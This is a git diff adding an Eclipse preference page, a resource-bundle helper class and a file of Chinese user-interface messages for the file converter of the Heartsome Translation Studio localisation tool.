a/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/preference/FileTypePreferencePage.java b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/preference/FileTypePreferencePage.java new file mode 100644 index 0000000..376b315 --- /dev/null +++ b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/preference/FileTypePreferencePage.java @@ -0,0 +1,44 @@ +package net.heartsome.cat.convert.ui.preference; + +import net.heartsome.cat.common.ui.HsImageLabel; +import net.heartsome.cat.convert.ui.resource.Messages; + +import org.eclipse.jface.preference.PreferencePage; +import org.eclipse.swt.SWT; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.ui.IWorkbench; +import org.eclipse.ui.IWorkbenchPreferencePage; + +/** + * é¦–é€‰é¡¹çš„æ–‡ä»¶ç±»åž‹é¡µé¢ + * @author peason + * @version + * @since JDK1.6 + */ +public class FileTypePreferencePage extends PreferencePage implements IWorkbenchPreferencePage { + + public FileTypePreferencePage() { + setTitle(Messages.getString("preference.FileTypePreferencePage.title")); + } + + public void init(IWorkbench workbench) { + noDefaultAndApplyButton(); + } + + @Override + protected Control createContents(Composite parent) { + Composite tparent = new Composite(parent, SWT.NONE); + tparent.setLayout(new GridLayout()); + tparent.setLayoutData(new GridData(GridData.FILL_BOTH)); + + HsImageLabel imageLabel = new HsImageLabel(Messages.getString("preference.FileTypePreferencePage.imageLabel"), + null); + imageLabel.createControl(tparent); + imageLabel.computeSize(); + return parent; + } + +} diff --git a/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/resource/Messages.java b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/resource/Messages.java new file mode 100644 index 0000000..42361b3 --- /dev/null +++ b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/resource/Messages.java @@ -0,0 +1,40 @@ +package net.heartsome.cat.convert.ui.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * 国际化工具类 + * @author peason + * @version + * @since JDK1.6 + */ +public final class Messages { + + /** The Constant BUNDLE_NAME. */ + private static final String BUNDLE_NAME = "net.heartsome.cat.convert.ui.resource.message"; //$NON-NLS-1$ + + /** The Constant RESOURCE_BUNDLE. */ + private static final ResourceBundle RESOURCE_BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + /** + * Instantiates a new messages. + */ + private Messages() { + // Do nothing + } + + /** + * Gets the string. + * @param key + * the key + * @return the string + */ + public static String getString(String key) { + try { + return RESOURCE_BUNDLE.getString(key); + } catch (MissingResourceException e) { + return '!' + key + '!'; + } + } +} diff --git a/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/resource/message.properties b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/resource/message.properties new file mode 100644 index 0000000..ff77cf1 --- /dev/null +++ b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/resource/message.properties @@ -0,0 +1,179 @@ +ui.ImplementationLoader.msg = [LOG] \u65e0\u6cd5\u52a0\u8f7d\u5de5\u5382\u7c7b {0} \u7684\u5b9e\u73b0\u3002 + +action.ConversionCompleteAction.msgTitle1 = \u9519\u8bef +action.ConversionCompleteAction.msgTitle2 = \u63d0\u793a +action.ConversionCompleteAction.msg1 = \u65e0\u6cd5\u6253\u5f00\u8f6c\u6362\u540e\u7684\u6587\u4ef6\uff0c\u8bf7\u91cd\u8bd5\u3002 +action.ConversionCompleteAction.msg2 = \u8f6c\u6362\u5b8c\u6210\uff0c\u4f46\u5728\u5c1d\u8bd5\u6253\u5f00\u8be5 XLIFF \u6587\u4ef6\u65f6\u53d1\u751f\u5f02\u5e38\uff1a\n +action.ConversionCompleteAction.msg3 = \u672a\u627e\u5230\u5df2\u8f6c\u6362\u7684\u6587\u4ef6\uff0c\u8bf7\u91cd\u65b0\u8f6c\u6362\u6587\u4ef6\u3002 +action.ConversionCompleteAction.msg4 = \u8f6c\u6362\u5b8c\u6210\uff0c\u4f46\u5728\u5c1d\u8bd5\u4f7f\u7528\u7cfb\u7edf\u9ed8\u8ba4\u7a0b\u5e8f\u6253\u5f00\u8be5\u6587\u4ef6\u65f6\u53d1\u751f\u5f02\u5e38\uff1a\n + +dialog.ConfigConversionDialog.direction1 = \u6e90\u6587\u4ef6\u8f6c\u6362\u4e3a XLIFF +dialog.ConfigConversionDialog.direction2 = XLIFF \u8f6c\u6362\u4e3a\u76ee\u6807\u6587\u4ef6 +dialog.ConfigConversionDialog.suportFormat = \u652f\u6301\u7684\u683c\u5f0f + +extension.IConverterCallerImpl.msgTitle1 = \u63d0\u793a +extension.IConverterCallerImpl.msgTitle2 = \u9519\u8bef +extension.IConverterCallerImpl.msg1 = \u65e0\u6cd5\u8f6c\u6362\u4e0b\u5217\u6587\u4ef6\uff0c\u8bf7\u786e\u8ba4\u9009\u62e9\u7684\u6587\u4ef6\u683c\u5f0f\uff08\u540e\u7f00\u540d\uff09\u5747\u5728 Heartsome Translation Studio \u7684\u652f\u6301\u4e4b\u5217\u3002\n\u8981\u5ffd\u7565\u5e76\u8df3\u8fc7\u8fd9\u4e9b\u6587\u4ef6\uff0c\u8bf7\u70b9\u51fb\u201c\u786e\u5b9a\u201d\uff1b\u8981\u91cd\u65b0\u9009\u62e9\u6587\u4ef6\uff0c\u8bf7\u70b9\u51fb\u201c\u53d6\u6d88\u201d\u3002\n +extension.IConverterCallerImpl.task1 = \u8f6c\u6362\u9879\u76ee +extension.IConverterCallerImpl.task2 = \u5f00\u59cb\u6279\u91cf\u8f6c\u6362\u9879\u76ee\u6587\u4ef6... +extension.IConverterCallerImpl.task3 = \u5f00\u59cb\u8f6c\u6362\u6587\u4ef6\uff1a + +handler.OpenConversionDialogHandler.msgTitle1 = \u63d0\u793a +handler.OpenConversionDialogHandler.msgTitle2 = \u9519\u8bef +handler.OpenConversionDialogHandler.msg1 = Source \u76ee\u5f55\u4e2d\u6ca1\u6709\u53ef\u8f6c\u6362\u4e3a XLIFF \u7684\u6e90\u6587\u4ef6\uff0c\u6216\u5747\u4e3a\u4e0d\u652f\u6301\u7684\u6587\u4ef6\u683c\u5f0f\u3002\n\u8bf7\u5148\u6dfb\u52a0\u6e90\u6587\u4ef6\uff0c\u5e76\u786e\u8ba4\u5b83\u4eec\u5747\u5728 Heartsome Translation Studio \u7684\u652f\u6301\u4e4b\u5217\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +handler.OpenConversionDialogHandler.task1 = \u8f6c\u6362\u9879\u76ee +handler.OpenConversionDialogHandler.task2 = \u5f00\u59cb\u6279\u91cf\u8f6c\u6362\u9879\u76ee\u6587\u4ef6... +handler.OpenConversionDialogHandler.task3 = \u5f00\u59cb\u8f6c\u6362\u6587\u4ef6\uff1a +handler.OpenConversionDialogHandler.logger1 = [LOG] \u52a0\u8f7d\u9884\u7ffb\u8bd1\u6269\u5c55\u70b9\u51fa\u9519 +handler.OpenReverseConversionDialogHandler.msgTitle1 = \u63d0\u793a +handler.OpenReverseConversionDialogHandler.msg1 = XLIFF \u76ee\u5f55\u4e2d\u6ca1\u6709\u53ef\u8f6c\u6362\u4e3a\u76ee\u6807\u6587\u4ef6\u7684 XLIFF \u6587\u4ef6\uff0c\u6216\u5747\u4e3a\u4e0d\u652f\u6301\u7684\u6587\u4ef6\u683c\u5f0f\u3002\n\u8bf7\u5148\u5c06\u6e90\u6587\u4ef6\u8f6c\u6362\u4e3a XLIFF\u3001\u6216\u5bfc\u5165 XLIFF \u6587\u4ef6\uff0c\u5e76\u786e\u8ba4\u5b83\u4eec\u7684\u540e\u7f00\u540d\u5747\u4e3a *.hsxliff\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +handler.OpenReverseConversionDialogHandler.task1 = \u8f6c\u6362\u9879\u76ee +handler.OpenReverseConversionDialogHandler.task2 = \u8f6c\u6362\u9879\u76ee\u4e2d\u7684 XLIFF \u4e3a\u76ee\u6807\u6587\u4ef6... +handler.OpenReverseConversionDialogHandler.task3 = \u5f00\u59cb\u8f6c\u6362\u6587\u4ef6\uff1a +handler.OpenReverseConversionDialogHandler.msgTitle2 = \u6587\u4ef6\u8f6c\u6362\u5931\u8d25 +handler.PreviewTranslationHandler.msgTitle = \u63d0\u793a +handler.PreviewTranslationHandler.msg1 = \u5f53\u524d\u7f16\u8f91\u5668\u6253\u5f00\u7684 XLIFF \u6587\u4ef6\u4e0d\u5b58\u5728\uff0c\u8bf7\u786e\u8ba4\u8be5\u6587\u4ef6\u662f\u5426\u5df2\u88ab\u5220\u9664\u3002 +handler.PreviewTranslationHandler.msg2 = \u9879\u76ee\u7684 XLIFF \u6587\u4ef6\u5939\u4e0d\u5b58\u5728\uff0c\u8bf7\u786e\u8ba4\u8be5\u6587\u4ef6\u5939\u662f\u5426\u5df2\u88ab\u5220\u9664\u3002 +handler.PreviewTranslationHandler.msg3 = \u5f53\u524d\u6253\u5f00\u7684\u6587\u4ef6\u4e0d\u662f\u5408\u6cd5\u7684 XLIFF \u6587\u4ef6\uff0c\u8bf7\u786e\u8ba4\u6253\u5f00\u4e86\u6b63\u786e\u7684 XLIFF \u6587\u4ef6\u3002 +handler.PreviewTranslationHandler.msg4 = \u5df2\u8f6c\u6362\u7684\u9884\u89c8\u6587\u4ef6\u4e0d\u5b58\u5728\uff0c\u8bf7\u91cd\u65b0\u9884\u89c8\u7ffb\u8bd1\u3002 +handler.PreviewTranslationHandler.msg5 = \u65e0\u6cd5\u6253\u5f00\u8f6c\u6362\u540e\u7684\u9884\u89c8\u6587\u4ef6\uff0c\u8bf7\u91cd\u8bd5\u3002 +handler.PreviewTranslationHandler.msg6 = \u8f6c\u6362\u5b8c\u6210\uff0c\u4f46\u5728\u5c1d\u8bd5\u4f7f\u7528\u7cfb\u7edf\u9ed8\u8ba4\u5173\u8054\u7a0b\u5e8f\u6253\u5f00\u8be5\u9884\u89c8\u6587\u4ef6\u65f6\u53d1\u751f\u5f02\u5e38\uff1a\n +handler.PreviewTranslationHandler.msg7 = \u65e0\u76f8\u5173\u7a0b\u5e8f\u8c03\u7528 +handler.PreviewTranslationHandler.task1 = \u9884\u89c8\u9879\u76ee +handler.PreviewTranslationHandler.task2 = \u5f00\u59cb\u9884\u89c8\u6587\u4ef6... +handler.PreviewTranslationHandler.task3 = \u5f00\u59cb\u8f6c\u6362\u6587\u4ef6\uff1a + +model.ConversionConfigBean.msg1 = \u8bf7\u9009\u62e9\u6e90\u6587\u4ef6\u3002 +model.ConversionConfigBean.msg2 = \u6e90\u6587\u4ef6\u4e0d\u5b58\u5728\u3002 +model.ConversionConfigBean.msg3 = \u8bf7\u9009\u62e9\u76ee\u6807\u6587\u4ef6\u3002 +model.ConversionConfigBean.msg4 = \u5f85\u751f\u6210\u7684 XLIFF \u5df2\u5b58\u5728\u3002 +model.ConversionConfigBean.msg5 = \u8bf7\u9009\u62e9\u6e90\u6587\u4ef6\u7684\u8bed\u8a00\u3002 +model.ConversionConfigBean.msg6 = \u8bf7\u9009\u62e9\u6e90\u6587\u4ef6\u7684\u7f16\u7801\u3002 +model.ConversionConfigBean.msg7 = \u8bf7\u9009\u62e9 SRX \u5206\u6bb5\u89c4\u5219\u6587\u4ef6\u3002 +model.ConversionConfigBean.msg8 = \u6307\u5b9a\u7684 SRX \u5206\u6bb5\u89c4\u5219\u6587\u4ef6\u4e0d\u5b58\u5728\u3002 +model.ConversionConfigBean.msg9 = \u8bf7\u9009\u62e9\u76ee\u6807\u6587\u4ef6\u3002 +model.ConversionConfigBean.msg10 = \u76ee\u6807\u6587\u4ef6\u5df2\u5b58\u5728\u3002 +model.ConversionConfigBean.msg11 = \u8bf7\u9009\u62e9\u76ee\u6807\u6587\u4ef6\u7684\u7f16\u7801\u3002 +model.ConverterViewModel.msg1 = \u6587\u4ef6\u8f6c\u6362 +model.ConverterViewModel.msg2 = \u65e0\u6cd5\u8f6c\u6362\u5982\u4e0b\u6e90\u6587\u4ef6\uff0c\u8bf7\u786e\u8ba4\u9009\u62e9\u7684\u6587\u4ef6\u683c\u5f0f\uff08\u540e\u7f00\u540d\uff09\u5747\u5728 Heartsome Translation Studio \u7684\u652f\u6301\u4e4b\u5217\uff1a\n +model.ConverterViewModel.msg3 = \u65e0\u6cd5\u8f6c\u6362\u5982\u4e0b XLIFF \u6587\u4ef6\uff0c\u8bf7\u786e\u8ba4\u9009\u62e9\u7684 XLIFF \u6240\u5bf9\u5e94\u7684\u6e90\u6587\u4ef6\u683c\u5f0f\uff08\u540e\u7f00\u540d\uff09\u5747\u5728 Heartsome Translation Studio \u7684\u652f\u6301\u4e4b\u5217\uff1a\n +model.ConverterViewModel.msg4 = \u65e0\u6cd5\u8f6c\u6362\uff1a\u8be5\u6587\u4ef6\u4e0d\u662f\u5408\u6cd5\u7684 XLIFF \u6587\u4ef6\u3002\n\u8bf7\u786e\u8ba4\u9009\u62e9\u4e86\u6b63\u786e\u7684 XLIFF \u6587\u4ef6\u3002 +model.ConverterViewModel.msg5 = \u65e0\u6cd5\u8f6c\u6362\uff1a\u8be5 XLIFF \u6587\u4ef6\u7531\u591a\u4e2a XLIFF \u5408\u5e76\u800c\u6210\u3002\n\u8bf7\u5148\u5c06\u8be5\u6587\u4ef6\u5206\u5272\u4e3a\u5408\u5e76\u524d\u7684 XLIFF\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +model.ConverterViewModel.msg6 = \u65e0\u6cd5\u8f6c\u6362\uff1a\u8be5 XLIFF \u6587\u4ef6\u7531\u4e00\u4e2a XLIFF \u5206\u5272\u800c\u6210\u3002\n\u8bf7\u5148\u5c06\u8be5\u6587\u4ef6\u4e0e\u5176\u4ed6\u4e00\u540c\u88ab\u5206\u5272\u51fa\u6765\u7684 XLIFF \u5408\u5e76\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +model.ConverterViewModel.msg7 = \u65e0\u6cd5\u8f6c\u6362\uff1a\u8be5 XLIFF \u6587\u4ef6\u53ef\u80fd\u5df2\u7ecf\u53d7\u635f\uff0c\u8bf7\u5c1d\u8bd5\u6309\u5982\u4e0b\u6b65\u9aa4\u4fee\u590d\uff1a\n1. \u5c06\u8be5 XLIFF \u6587\u4ef6\u4e2d\u7684\u6240\u6709\u6587\u672c\u6bb5\u5165\u5e93\uff1b\n2. \u5907\u4efd\u8be5 XLIFF \u6587\u4ef6\uff08\u76f4\u63a5\u590d\u5236 XLIFF \u6587\u4ef6\u5939\u6216\u5bfc\u51fa\u6574\u4e2a\u9879\u76ee\uff09\uff1b\n3. \u91cd\u65b0\u8f6c\u6362\u6e90\u6587\u4ef6\u4e3a XLIFF\u3001\u5e76\u9884\u7ffb\u8bd1\uff1b\n4. \u7528\u4e0a\u4e00\u6b65\u5f97\u5230\u7684 XLIFF \u6587\u4ef6\u518d\u6b21\u91cd\u8bd5\u6b64\u6b21\u8f6c\u6362\u3002 +model.ConverterViewModel.msg8 = \u8bf7\u9009\u62e9\u6587\u4ef6\u7c7b\u578b\u3002 +model.ConverterViewModel.msg9 = Microsoft Office 2003 \u6587\u6863\u4e3a\u95f4\u63a5\u652f\u6301\u7684\u6587\u4ef6\u683c\u5f0f\u3002\n\u8bf7\u5148\u5b89\u88c5 OpenOffice/LibreOffice\uff0c\u5e76\u5728\u5de5\u5177 > \u9009\u9879 > \u7ffb\u8bd1\u4e2d\u8bbe\u7f6e\u5176\u5b89\u88c5\u8def\u5f84\uff0c\u7136\u540e\u91cd\u8bd5\u3002 +model.ConverterViewModel.logger1 = [LOG] \u521b\u5efa\u9aa8\u67b6\u6587\u4ef6\uff1a{0} \u5931\u8d25\u3002 +model.ConverterViewModel.logger2 = [LOG] \u5df2\u53d6\u6d88\u64cd\u4f5c\u3002 +model.ConverterViewModel.logger3 = [LOG] \u8f6c\u6362\u6587\u4ef6\uff1a{0} \u5931\u8d25\u3002 +model.ConverterViewModel.logger4 = [LOG] \u521b\u5efa\u76ee\u6807\u6587\u4ef6\uff1a{0} \u5931\u8d25\u3002 +model.ConverterViewModel.warning = \u8B66\u544A +model.ConverterViewModel.ttxWarning = TTX \u4E2D\u542B\u6709\u672A\u7FFB\u8BD1\u7684\u6587\u672C\u6BB5\uFF0C\u8F6C\u6362\u8FC7\u7A0B\u4E2D\u5C06\u4E22\u5931\u8FD9\u4E9B\u6587\u672C\u6BB5\uFF01 +model.ReverseConversionValidateWithLibrary3.task1 = \u6b63\u5728\u5206\u6790 XLIFF \u6587\u4ef6... +model.ReverseConversionValidateWithLibrary3.msg1 = \u8be5 XLIFF \u6587\u4ef6\u5bf9\u5e94\u7684\u9aa8\u67b6\u6587\u4ef6\u4e0d\u5b58\u5728\u3002\n\u8bf7\u786e\u8ba4\u9879\u76ee Intermediate/SKL \u76ee\u5f55\u4e0b\u5b58\u5728\u4e0e\u8be5 XLIFF \u540c\u540d\u3001\u540e\u7f00\u540d\u4e3a .skl \u7684\u9aa8\u67b6\u6587\u4ef6\u3002\u82e5\u4e0d\u5b58\u5728\uff0c\u8bf7\u5c1d\u8bd5\u6309\u5982\u4e0b\u6b65\u9aa4\u4fee\u590d\uff1a\n1. \u5c06\u8be5 XLIFF \u6587\u4ef6\u4e2d\u7684\u6240\u6709\u6587\u672c\u6bb5\u5165\u5e93\uff1b\n2. \u5907\u4efd\u8be5 XLIFF \u6587\u4ef6\uff08\u76f4\u63a5\u590d\u5236 XLIFF \u6587\u4ef6\u5939\u6216\u5bfc\u51fa\u6574\u4e2a\u9879\u76ee\uff09\uff1b\n3. \u91cd\u65b0\u8f6c\u6362\u6e90\u6587\u4ef6\u4e3a XLIFF\u3001\u5e76\u9884\u7ffb\u8bd1\uff1b\n4. \u7528\u4e0a\u4e00\u6b65\u5f97\u5230\u7684 XLIFF \u6587\u4ef6\u518d\u6b21\u91cd\u8bd5\u6b64\u6b21\u8f6c\u6362\u3002 +model.ReverseConversionValidateWithLibrary3.msg2 = [LOG] \u5206\u6790 {0} \u5931\u8d25\u3002 +model.ReverseConversionValidateWithLibrary3.msg3 = \u5206\u6790 XLIFF \u6587\u4ef6\u5931\u8d25\u3002 +model.ReverseConversionValidateWithLibrary3.msg4 = \u65e0\u6cd5\u8f6c\u6362\uff1a\u8be5 XLIFF \u6587\u4ef6\u672a\u8bbe\u7f6e\u76ee\u6807\u8bed\u8a00\u3002 +model.ReverseConversionValidateWithLibrary3.msg5 = xml\:lang +model.ReverseConversionValidateWithLibrary3.logger1 = [LOG] \u5f00\u59cb\u5206\u6790 XLIFF \u6587\u4ef6\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +model.ReverseConversionValidateWithLibrary3.logger2 = [LOG] \u5206\u6790\u7684 XLIFF \u6587\u4ef6\u5927\u5c0f\u4e3a\uff08\u5b57\u8282\uff09\uff1a{} +model.ReverseConversionValidateWithLibrary3.logger3 = [LOG] \u5f00\u59cb\u52a0\u8f7d XLIFF \u6587\u4ef6\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +model.ReverseConversionValidateWithLibrary3.logger4 = [LOG] \u52a0\u8f7d XLIFF \u6587\u4ef6\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +model.ReverseConversionValidateWithLibrary3.logger5 = [LOG] \u52a0\u8f7d XLIFF \u7528\u65f6\uff1a{} +model.ReverseConversionValidateWithLibrary3.logger6 = [LOG] \u5f00\u59cb\u5904\u7406\u83b7\u5f97\u9aa8\u67b6\u6587\u4ef6\u7684\u903b\u8f91\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +model.ReverseConversionValidateWithLibrary3.logger7 = [LOG] \u83b7\u5f97\u9aa8\u67b6\u6587\u4ef6\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +model.ReverseConversionValidateWithLibrary3.logger8 = [LOG] \u83b7\u5f97\u9aa8\u67b6\u6587\u4ef6\u7528\u65f6\uff1a{} +model.ReverseConversionValidateWithLibrary3.logger9 = [LOG] \u5f00\u59cb\u521b\u5efa\u6587\u672c\u6bb5\u5217\u8868\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +model.ReverseConversionValidateWithLibrary3.logger10 = [LOG] \u521b\u5efa\u6587\u672c\u6bb5\u5217\u8868\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +model.ReverseConversionValidateWithLibrary3.logger11 = [LOG] \u521b\u5efa\u6587\u672c\u6bb5\u5217\u8868\u7528\u65f6\uff1a{} +model.ReverseConversionValidateWithLibrary3.logger12 = [LOG] \u5206\u6790 XLIFF \u6587\u4ef6\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +model.ReverseConversionValidateWithLibrary3.logger13 = [LOG] \u5206\u6790 XLIFF \u6587\u4ef6\u603b\u7528\u65f6\uff1a{} +model.ReverseConversionValidateWithLibrary3.logger14 = [LOG] \u5728\u91cd\u65b0\u751f\u6210 XLIFF \u6587\u4ef6\u8fc7\u7a0b\u4e2d\uff0c\u5f00\u59cb\u5904\u7406\u6587\u672c\u6bb5\u5217\u8868\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +model.ReverseConversionValidateWithLibrary3.logger15 = [LOG] \u5728\u91cd\u65b0\u751f\u6210 XLIFF \u6587\u4ef6\u8fc7\u7a0b\u4e2d\uff0c\u7ec8\u6b62\u5904\u7406 segments \u5217\u8868\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +model.ReverseConversionValidateWithLibrary3.logger16 = [LOG] \u5728\u91cd\u65b0\u751f\u6210 XLIFF \u6587\u4ef6\u8fc7\u7a0b\u4e2d\uff0c\u5bf9 segments \u5217\u8868\u7684\u5904\u7406\u7528\u65f6\uff1a{} +model.ReverseConversionValidateWithLibrary3.logger17 = [LOG] \u5728\u91cd\u65b0\u751f\u6210 XLIFF \u6587\u4ef6\u8fc7\u7a0b\u4e2d\uff0c\u5f00\u59cb\u8c03\u7528 XMLOutputter \u7684 Output \u65b9\u6cd5\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +model.ReverseConversionValidateWithLibrary3.logger18 = [LOG] \u5728\u91cd\u65b0\u751f\u6210 XLIFF \u6587\u4ef6\u8fc7\u7a0b\u4e2d\uff0c\u8c03\u7528 XMLOutputter \u7684 Output \u65b9\u6cd5\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +model.ReverseConversionValidateWithLibrary3.logger19 = [LOG] \u5728\u91cd\u65b0\u751f\u6210 XLIFF \u6587\u4ef6\u8fc7\u7a0b\u4e2d\uff0c\u8c03\u7528 XMLOutputter \u7684 Output \u65b9\u6cd5\u7528\u65f6\uff1a{} + +utils.ConversionResource.msg1 = \u8be5\u6587\u4ef6\u4e0d\u5b58\u5728\uff0c\u8bf7\u786e\u8ba4\u9009\u62e9\u4e86\u6709\u6548\u7684\u6587\u4ef6\uff1a +utils.ConversionResource.msg2 = \u65e0\u6cd5\u83b7\u53d6\u6e90\u6587\u4ef6\u8def\u5f84\u3002\u8f6c\u6362\u5668\u8f6c\u6362\u65b9\u5411\uff1a +utils.ConversionResource.msg3 = \u65e0\u6cd5\u83b7\u53d6\u9aa8\u67b6\u6587\u4ef6\u8def\u5f84\u3002\u8f6c\u6362\u5668\u8f6c\u6362\u65b9\u5411\uff1a +utils.ConversionResource.msg4 = \u65e0\u6cd5\u83b7\u53d6\u76ee\u6807\u6587\u4ef6\u8def\u5f84\u3002\u8f6c\u6362\u5668\u8f6c\u6362\u65b9\u5411\uff1a + +wizard.ConversionWizard.title = \u8f6c\u6362\u6e90\u6587\u4ef6\u4e3a XLIFF +wizard.ConversionWizard.pageName = \u8f6c\u6362\u9009\u9879\u8bbe\u7f6e +wizard.ConversionWizardPage.title = \u4ee5\u4e0b\u6587\u4ef6\u5c06\u88ab\u8f6c\u6362\u4e3a XLIFF \u683c\u5f0f +wizard.ConversionWizardPage.description = \u8bf7\u8bbe\u7f6e\u5b83\u4eec\u7684\u6587\u4ef6\u5c5e\u6027\u53ca\u8f6c\u6362\u9009\u9879\u3002 +wizard.ConversionWizardPage.langComposite = \u6587\u4ef6\u5c5e\u6027 +wizard.ConversionWizardPage.formatLabel = \u683c\u5f0f\uff1a +wizard.ConversionWizardPage.srcEncLabel = \u7f16\u7801\uff1a +wizard.ConversionWizardPage.options = \u8f6c\u6362\u9009\u9879 +wizard.ConversionWizardPage.btnReplaceTarget = \u8986\u76d6\u540c\u540d\u6587\u4ef6 +wizard.ConversionWizardPage.tgtLangLbl = \u76ee\u6807\u8bed\u8a00\uff1a +wizard.ConversionWizardPage.segmentation = \u5206\u6bb5\u89c4\u5219 +wizard.ConversionWizardPage.segLabel = SRX \u6587\u4ef6\uff1a +wizard.ConversionWizardPage.segBrowse = \u6d4f\u89c8(&B)... +wizard.ConversionWizardPage.msg1 = \u8bf7\u9009\u62e9\u76ee\u6807\u8bed\u8a00 +wizard.ConversionWizardPage.msg2 = \u6587\u4ef6 {0}\uff1a +wizard.ConversionWizardPage.lineNumColumn = \u5e8f\u53f7 +wizard.ConversionWizardPage.sourceColumn = \u6e90\u6587\u4ef6 +wizard.ConversionWizardPage.formatColumn = \u683c\u5f0f +wizard.ConversionWizardPage.srcEncColumn = \u7f16\u7801 +wizard.ConversionWizardPage.btnOpenPreTrans = \u9884\u7ffb\u8bd1 +wizard.ConversionWizardPage.logger = [LOG] \u5728\u8f6c\u6362\u5668\u4e2d\u83b7\u53d6\u63d2\u4ef6\u8def\u5f84\u51fa\u9519\uff0c\u63d2\u4ef6 ID: net.heartsome.cat.ts.ui +wizard.ReverseConversionWizard.title = \u8f6c\u6362 XLIFF \u4e3a\u76ee\u6807\u6587\u4ef6 +wizard.ReverseConversionWizard.pageName = \u8f6c\u6362\u9009\u9879\u8bbe\u7f6e +wizard.ReverseConversionWizardPage.title = \u4ee5\u4e0b XLIFF \u6587\u4ef6\u5c06\u88ab\u8f6c\u6362\u4e3a\u76ee\u6807\u8bed\u8a00\u6587\u4ef6 +wizard.ReverseConversionWizardPage.langComposite = \u6587\u4ef6\u5c5e\u6027 +wizard.ReverseConversionWizardPage.tgtEncLabel = \u7f16\u7801 +wizard.ReverseConversionWizardPage.options = \u8f6c\u6362\u9009\u9879 +wizard.ReverseConversionWizardPage.btnReplaceTarget = \u8986\u76d6\u540c\u540d\u6587\u4ef6 +wizard.ReverseConversionWizardPage.task1 = \u9a8c\u8bc1\u5f85\u8f6c\u6362\u7684 XLIFF +wizard.ReverseConversionWizardPage.task2 = \u6b63\u5728\u8fdb\u884c\u8f6c\u6362\u9a8c\u8bc1... +wizard.ReverseConversionWizardPage.msg1 = \u6587\u4ef6 {0}\uff1a +wizard.ReverseConversionWizardPage.lineNumberColumn = \u5e8f\u53f7 +wizard.ReverseConversionWizardPage.xliffColumn = XLIFF \u6587\u4ef6 +wizard.ReverseConversionWizardPage.tgtEncColumn = \u7f16\u7801 +wizard.ReverseConversionWizardPage.targetColumn = \u76ee\u6807\u6587\u4ef6 + + +########################## 2012-08-08 \u6dfb\u52a0 ########################################### +utils.FileFormatUtils.MIF = Adobe FrameMaker \u4ea4\u6362\u683c\u5f0f (MIF) +utils.FileFormatUtils.IDML = Adobe InDesign \u6807\u8bb0 (IDML) +utils.FileFormatUtils.INX = Adobe InDesign \u4ea4\u6362\u6587\u6863 (INX) +utils.FileFormatUtils.DU = D\u00e9j\u00e0 Vu XLIFF \u6587\u4ef6 (XLF) +utils.FileFormatUtils.RTF = \u5bcc\u6587\u672c\u683c\u5f0f (RTF) +utils.FileFormatUtils.PO = GNU gettext \u53ef\u79fb\u690d\u5bf9\u8c61 (PO) +utils.FileFormatUtils.JAVA = Java \u8d44\u6e90\u6587\u4ef6 (PROPERTIES) +utils.FileFormatUtils.JS = JavaScript \u811a\u672c (JS) +utils.FileFormatUtils.MQ = MemoQ 6.x \u6587\u6863 (MQXLZ) +utils.FileFormatUtils.MS = Microsoft Office 97-2004 \u6587\u6863 (DOC, XLS, PPT) +utils.FileFormatUtils.OFF = Microsoft Office \u6587\u6863 (DOCX, XLSX, PPTX) +utils.FileFormatUtils.MSEXCEL = Microsoft Excel \u5de5\u4f5c\u7c3f (XLSX) +utils.FileFormatUtils.PPTX = Microsoft PowerPoint \u6f14\u793a\u6587\u7a3f (PPTX) +utils.FileFormatUtils.MSWORD2007 = Microsoft Word \u6587\u6863 (DOCX) +utils.FileFormatUtils.OO = OpenOffice \u6587\u6863 (ODT, ODS, ODP, ODG) +utils.FileFormatUtils.TRTF = SDL Trados \u53cc\u8bed RTF \u6587\u4ef6 (RTF) +utils.FileFormatUtils.SDL = SDL Trados XLIFF \u6587\u4ef6 (SDLXLIFF) +utils.FileFormatUtils.TTX = SDL TRADOStag \u53cc\u8bed\u6587\u4ef6 (TTX) +utils.FileFormatUtils.HTML = \u7f51\u9875\u6587\u4ef6 (HTM, HTML) +utils.FileFormatUtils.TEXT = \u6587\u672c\u6587\u4ef6 (TXT) +utils.FileFormatUtils.RESX = Windows .NET \u8d44\u6e90\u6587\u4ef6 (RESX) +utils.FileFormatUtils.RC = Windows C/C++ \u8d44\u6e90\u6587\u4ef6 (RC) +utils.FileFormatUtils.XML = XML \u6587\u4ef6 (XML) +utils.FileFormatUtils.WF = Wordfast Pro \u53cc\u8bed XML \u6587\u4ef6 (TXML) +# XML (Generic) \u4ee3\u7801\u4e2d\u672a\u7528\u5230\uff0c\u56e0\u6b64\u5148\u6ce8\u91ca\u4e0b\u884c\u5185\u5bb9 